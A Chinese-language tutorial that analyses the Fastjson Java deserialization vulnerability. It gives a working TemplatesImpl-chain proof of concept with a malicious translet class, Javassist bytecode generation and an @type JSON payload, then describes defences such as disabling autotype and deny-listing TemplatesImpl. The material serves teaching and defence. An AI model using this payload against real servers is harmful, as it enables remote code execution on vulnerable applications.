Java安全之Fastjson反序列化漏洞分析
字数 1221 2025-08-06 08:35:44
Fastjson反序列化漏洞深入分析与利用
0x00 前言
Fastjson是阿里巴巴的开源JSON处理库,广泛用于Java环境中JSON数据的解析和打包。本教程将深入分析Fastjson反序列化漏洞的原理、利用方式及防御措施。
0x01 Fastjson基础使用
Fastjson概述
Fastjson用于处理JSON格式数据,主要功能包括:
- 将Java对象序列化为JSON字符串
- 将JSON字符串反序列化为Java对象
核心API
// 序列化
String text = JSON.toJSONString(obj);
// 反序列化
VO vo = JSON.parse(); // 解析为JSONObject或JSONArray
VO vo = JSON.parseObject("{...}"); // 解析为JSONObject
VO vo = JSON.parseObject("{...}", VO.class); // 解析为指定类
序列化示例
public class User {
private String name;
private int age;
// getter/setter省略
}
User user = new User("xiaoming", 18);
String s = JSON.toJSONString(user); // {"age":18,"name":"xiaoming"}
自省功能
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
// 结果: {"@type":"com.fastjson.demo.User","age":18,"name":"xiaoming"}
@type字段标识对象类型,是漏洞利用的关键点。
0x02 反序列化漏洞原理
漏洞成因
Fastjson在反序列化时:
- 未严格校验
@type指定的类 - 自动调用目标类的setter/getter方法
- 可通过特殊构造触发恶意代码执行
攻击面
两种主要利用链:
- TemplatesImpl链 - 通过类加载机制执行代码
- JdbcRowSetImpl链 - 通过JNDI注入实现攻击
0x03 TemplatesImpl链利用
利用条件
- Fastjson 1.2.22-1.2.24版本
- 需要开启
Feature.SupportNonPublicField(支持反序列化private字段)
恶意类构造
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
public class EvilClass extends AbstractTranslet {
public EvilClass() throws Exception {
Runtime.getRuntime().exec("calc");
}
// 必须实现的方法
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {}
}
动态生成字节码
使用Javassist动态生成恶意类:
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(Test.class.getName());
cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] evilCode = cc.toBytecode();
String evilCode_base64 = Base64.encodeBase64String(evilCode);
完整POC
String payload = "{" +
"\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
"'_name':'a.b'," +
"'_tfactory':{}," +
"'_outputProperties':{}" +
"}";
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField);
关键参数说明
@type: 指定TemplatesImpl类_bytecodes: Base64编码的恶意类字节码_name: 不能为null,否则利用链中断_tfactory: 避免defineTransletClasses中异常_outputProperties: 触发getOutputProperties()方法
0x04 漏洞分析
反序列化流程
- 解析JSON字符串,识别
@type字段 - 通过反射加载指定类
- 调用JavaBeanDeserializer处理对象
- 解析各字段并赋值
- 调用getter/setter方法
关键点分析
-
@type处理:
if (key == JSON.DEFAULT_TYPE_KEY) { ref = lexer.scanSymbol(this.symbolTable, '"'); clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader()); } -
方法提取:
- 扫描类中所有方法
- 识别getter(setter)方法:
- 方法名长度≥4
- 非静态方法
- 以get/set开头
- 参数匹配
-
字节码处理:
// DefaultJSONParser.java if (lexer.token() == JSONToken.LITERAL_STRING) { byte[] bytes = IOUtils.decodeBase64(lexer.stringVal()); }
0x05 防御措施
-
升级Fastjson:
- 使用1.2.25及以上版本
- 默认关闭autotype功能
-
安全配置:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false); ParserConfig.getGlobalInstance().addDeny("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); -
输入过滤:
- 校验JSON数据来源
- 过滤危险
@type值
-
JVM防护:
- 设置SecurityManager
- 限制反射权限
0x06 总结
Fastjson反序列化漏洞危害严重,攻击者可实现远程代码执行。理解漏洞原理和利用方式有助于更好地防御此类攻击。关键点包括:
@type字段的自省功能- TemplatesImpl的字节码加载机制
- 非public字段的反序列化
- 防御措施的正确实施
建议开发者及时升级Fastjson版本,并严格校验反序列化的数据来源。